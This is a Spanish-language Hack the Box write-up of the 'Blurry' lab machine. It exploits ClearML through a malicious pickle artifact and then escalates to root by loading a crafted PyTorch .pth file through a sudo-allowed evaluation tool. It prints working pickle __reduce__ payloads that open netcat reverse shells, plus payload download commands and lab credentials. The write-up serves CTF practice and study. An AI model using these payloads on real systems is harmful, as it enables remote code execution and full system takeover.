🟠Blurry
En esta ocasión vamos a hacer el writeup de la máquina Blurry de Hack the Box, una máquina Linux de dificultad Medium.

Primer acceso
Añadimos la IP 10.10.11.19
a nuestro /etc/hosts
y accedemos través del navegador. Llegamos a una página de login:

Cuando clickamos para escribir el usuario aparecen varios, lo que nos puede ayudar a acceder:

Por ejemplo accedemos como Chad Jippity
y llegamos a un dashboard. Aquí podríamos empezar a investigar y a buscar credenciales, pero antes vamos a escanear los puertos abiertos para ver otras vías de entrada.

Como vemos, es un Clear ML, por lo que podemos buscar exploits públicos. Si accedemos a Settings > Workspace
nos encontramos 2 credenciales:
Key Usuario
-------------------- ------------
8TL83TDO2YXCQ4789DE4 blurry
43JQWWALPYM4QTJG5T6D 149328d8025b

Además encontramos la versión abajo de la página, lo que nos permitiría buscar exploits más específicos:
WebApp: 1.13.1-426 • Server: 1.13.1-426 • API: 2.27
Escaneo de puertos
sudo nmap -v -sS -sV -sC 10.10.11.19
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 2CBD65DC962D5BF762BCB815CBD5EFCC
|_http-title: ClearML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Solo tiene 2 puertos abiertos, el 22 y el 80. Los típicos.
Fuzzing
Al fuzzear con dirsearch tampoco nos encontramos con nada relevante.
dirsearch -u http://app.blurry.htb -x 403,404,503,400
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/http_app.blurry.htb/_24-08-08_15-44-53.txt
Target: http://app.blurry.htb/
[15:44:53] Starting:
[15:45:12] 301 - 169B - /app -> http://app.blurry.htb/app/
[15:45:13] 301 - 169B - /assets -> http://app.blurry.htb/assets/
[15:45:20] 200 - 139B - /env.js
[15:45:21] 200 - 6KB - /favicon.ico
[15:45:22] 200 - 2B - /files/
Task Completed
Explotación
Haciendo un poco de research nos encontramos este exploit que en principio puede funcionar bastante bien:
En el repositorio encontramos las instrucciones de uso:
Necesita acceso al espacio de trabajo del equipo
Reemplace IP y PUERTO por su puerto de escucha y su IP
Cambie el nombre del proyecto a un nombre de proyecto existente.
Nota: Tal vez necesites ejecutar el exploit un par de veces para que funcione
Instrucciones
Haga clic en iniciar nuevo proyecto en clearml
Instalar clearml con
pip install clearml
Obtenga las credenciales de ClearML Web (credenciales generadas al hacer clic en el nuevo proyecto)
clearml-init en tu terminal y pega las credenciales
nc-lnvp 4444
exploit.py
1. Crear nuevo proyecto

Como ya hay un proyecto creado en verdad podemos omitir este paso.
2. Obtener credenciales
Para ejecutar este script necesitamos crear unas credenciales nuevas, ya que tenemos que proporcionar:


Necesitamos copiar todo ese código para pegarlo en el script de configuración de clearml.
Importante: necesitamos agregar esos 3 hosts a /etc/hosts
para que funcione
3. Instalar y configurar clearml
# Instalar entorno virtual
pip install virtualenv
virtualenv clearml_env
source clearml_env/bin/activate
# Instalar clearml
pip install clearml
# Verificar versión
python -c "import clearml; print(clearml.__version__)"
1.16.3
4. Iniciar Clear ML
Necesitamos crear nuevas credenciales como ya vimos y pegar el código que nos dió. Para iniciar Clear ML solo tenemos que ejecutar clearml-init
:
clearml-init
ClearML SDK setup process
Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:
8080//settings/workspace-configuration)
Or create a free account at https://app.clear.ml/settings/workspace-configuration
In settings page, press "Create new credentials", then press "Copy to clipboard".
Paste copied configuration here:
api {
web_server: http://app.blurry.htb
api_server: http://api.blurry.htb
files_server: http://files.blurry.htb
credentials {
"access_key" = "PXY03JWTAEB34TZI83FB"
"secret_key" = "4EPc0uPmb1UJaasYyx3EP36swfa7SsStDumawm7AZNN8ZoQ1sX"
}
}
Detected credentials key="PXY03JWTAEB34TZI83FB" secret="4EPc***"
ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb
Verifying credentials ...
Credentials verified!
New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.
5. Modificar script con nuestra IP y puerto
Tambien necesitamos cambiar el nombre del proyecto a uno existente. En este caso solo tenemos un proyecto llamado Black Swan:
from clearml import Task
import pickle, os
class RunCommand:
def __reduce__(self):
return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.70 4444 >/tmp/f',))
command = RunCommand()
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")
6. Listener de Netcat
nc -nlvp 4444
listening on [any] 4444 ...
7. Ejecutar exploit

Funciona! Hemos obtenido una shell como el usuario jippity. Vamos a hacer un tratamiento de la TTY para movernos mejor por el sistema:
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

Obtenemos la user flag 🏆
Escalada de Privilegios
Lo primero que vamos a comprobar son los permisos del usuario jippity en el sistema:
jippity@blurry:~/automation$ sudo -l
sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
La salida del comando sudo -l indica que el usuario jippity tiene permisos para ejecutar el comando /usr/bin/evaluate_model
como root sin necesidad de ingresar una contraseña. Además, puede ejecutar este comando con cualquier archivo .pth
en el directorio /models/
. Esto podría permitir una elevación de privilegios si podemos aprovechar alguna vulnerabilidad o mal uso del archivo evaluate_model
.
Creación de un archivo .pth Malicioso
Vamos a crear un script malicioso malicious-model.py
en nuestro Kali Linux, lo ejecutamos en local y nos da un archivo root.pth
que tendremos que enviar a la máquina:
import torch
import torch.nn as nn
import os
class MaliciousModel(nn.Module):
# PyTorch's base class for all neural network modules
def __init__(self):
super(MaliciousModel, self).__init__()
self.dense = nn.Linear(10, 1)
# Define how the data flows through the model
def forward(self, abdulrahman): # Passes input through the linear layer.
return self.dense(abdulrahman)
# Overridden __reduce__ Method
def __reduce__(self):
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.70 1234 >/tmp/f"
return os.system, (cmd,)
# Create an instance of the model
malicious_model = MaliciousModel()
# Save the model using torch.save
torch.save(malicious_model, 'root.pth')
Ejecutamos malicious_model.py
pip install torch
python3 malicious_model.py
ls
clearml_env exploit.py malicious_model.py root.pth
Una vez lo ejecutemos tendremos el archivo root.pth
que vamos a enviar a la máquina.
jippity@blurry:~$ wget http://10.10.14.70/root.pth
wget http://10.10.14.70/root.pth
--2024-08-09 05:34:05-- http://10.10.14.70/root.pth
Connecting to 10.10.14.70:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 916 [application/octet-stream]
Saving to: ‘root.pth’
root.pth 100%[===================>] 916 --.-KB/s in 0s
2024-08-09 05:34:05 (76.4 MB/s) - ‘root.pth’ saved [916/916]
jippity@blurry:~$ ls
automation clearml.conf exploit.sh root.pth user.txt
jippity@blurry:~$ cp root.pth /models
jippity@blurry:~$ cd /models
jippity@blurry:/models$ ls
demo_model.pth evaluate_model.py root.pth
Una vez que tenemos el archivo root.pth
en la máquina solo tenemos que abrir un listener con netcat por el puerto 1234 que le indicamos, mover el archivo root.pth
al directorio /models
y ejecutar el script con sudo, pasándole root.pth
como argumento:
cp root.pth /models
sudo /usr/bin/evaluate_model /models/root.pth

Buum! Recibimos una shell como root y obtenemos la root flag! 🏆
Última actualización
¿Te fue útil?